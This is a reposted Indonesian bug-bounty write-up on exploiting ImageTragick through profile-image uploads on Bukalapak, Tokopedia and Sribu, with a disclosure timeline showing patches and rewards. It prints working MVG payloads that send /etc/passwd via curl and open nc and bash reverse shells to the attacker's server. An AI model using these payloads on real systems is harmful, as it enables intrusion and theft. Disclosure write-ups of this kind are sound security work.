The Motivation

Terdapat seorang pemuda yang sedang browsing sana-sini mencari barang di Bukalapak. Rasa iseng mulai menggelitik pemuda tersebut setelah melihat fitur file upload di laman profile. Pikiran pemuda tersebut langsung mengarah pada celah yang baru sebulan di-discover oleh Nikolay Ermishkin, yap celah tersebutImageTragick. Namun sebelumnya sang pemuda pernah merilis soal terkait celah tersebut di Botani CTF *iklan*.

The Hack

Tanpa Reverse Shell
Cara ini berguna jika belum mempunyai akses server penuh, misal hanya request HTTP saja yang dapat diterima (contoh: codeanywhere.com, c9.io).
Buat sebuah file MVG (Magick Vector Graphics) di pengolah teks. Kebetulan saya pakai notepad karena lagi pakai windows.
push graphic-context

viewbox 0 0 640 480

fill 'url(https://127.0.0.0/oops.jpg"; cat /etc/passwd | curl -d @ http://(alamat server kamu):9700;touch "hello)'

pop graphic-context  
Simpan dengan ekstensi JPG/PNG/GIF (ekstensi yang diperbolehkan).
Sebelum diupload pastikan server kamu sedang listening pada port sesuai payload, disitu saya menggunakan port 9700. *numpang server himalkom
Kunjungi https://www.bukalapak.com/users/(USER ID KAMU)/edit?section=general untuk upload payload.
upload payload yang telah dibuat dan voila! ...
Didapatkan akses shell di server bukalapak.
Penjelasan:
cat /etc/passwd | curl -d @ http://(alamat server kamu):9700 : membaca file /etc/passwd lalu di-pipe ke curl. stdout-nya untuk menjadi data input, lalu dikirimkan ke server port 9700.
Dengan Reverse Shell
Cara ini lebih asik karena dapat shell interaktif. Namun kamu harus punya akses server yang bisa menerima input non-HTTP.
Buat sebuah file MVG lagi lalu save seperti tadi. Saya menggunakan port 31337.
push graphic-context

viewbox 0 0 640 480

fill 'url(https://127.0.0.0/oops.jpg"; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i

2>&1|nc (Alamat Server Kamu) 31337 >/tmp/f;touch "hello)'

pop graphic-context  
Pastikan server kamu sedang listening.
Kunjungi https://www.tokopedia.com/people/(USER ID KAMU)/edit untuk upload payload.
upload payload dan voila! ...
Biar lebih interaktif, shell bash di spawn python -c 'import pty; pty.spawn("/bin/bash")'
Dari situ saya bisa menjalankan command lainnya.
ls -lahifconfigcat /etc/passwd
Untuk Sribu kurang lebih caranya sama namun tempat uploadnya saja yang berbeda http://www.sribu.com/id/members/iamms/exams.

The Patch

The Timeline

Bukalapak
  • 11/06/16 10.06 AM - Bug Reported to security@bukalapak.com.
  • 11/06/16 11.52 AM - PoC Reported.
  • 13/06/16 11.54 AM - Bug Patched. They ask my bank account for rewards.
  • 20/06/16 09.13 AM - Received IDR 15.000.000 from Bukalapak #BerkahRamadhan
Tokopedia
  • 12/06/16 12.32 AM - PoC Reported.
  • 12/06/16 04.39 AM - Bug Patched. 4 Hours Only!.
  • 13/06/16 01.26 PM - They give me certificate.
  • 14/06/16 09.52 AM - They ask my bank account and my identity card.
  • 16/06/16 05.50 PM - Received IDR 10.000.000 from Tokopedia #BerkahRamadhan.
Sribu
  • 12/06/16 01.17 AM - PoC Reported.
  • 14/06/16 12.34 AM - They thank me for the report.
Tambahan:
Jika netcat, curl, wget tidak ada maka dapat melakukan reverse shell dari bash bash -i >& /dev/tcp/(IP Kamu)/(Port Kamu) 0>&1 atau bisa dengan berbagai cara yang di share PentestMonkey http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Untuk merespon civitas senior yang menyatakan "Benci" atau "Bulan puasa bukannya cari pahala malah merusak web", walaupun mungkin hal itu bukan ditujukan kepada saya *semoga saja*, atau mungkin beliau tersebut pemikiran masih terisolasi berita media mainstream jadi belum bisa membedakan mana ethical hacking dan non-ethical hacking. Saya sarankan baca artikel ini Ten Reasons Hacking is the Best Way to Ensure Company Security. Perlu dicatat bahwa dalam kasus ini tidak ada pihak yang dirugikan. Untuk yang me-report dapat reward dan yang dikasih report dapat nge-patch aplikasinya agar lebih aman, Win-Win. Saat ini Mas Herdian Nugraha  direkrut Bukalapak sebagai security engineer.
 Wow Mas Herdian Keren kan,, 
Sumber : Langsung Dari Artikel Mas Herdian

0 komentar:

Post a Comment

 
Top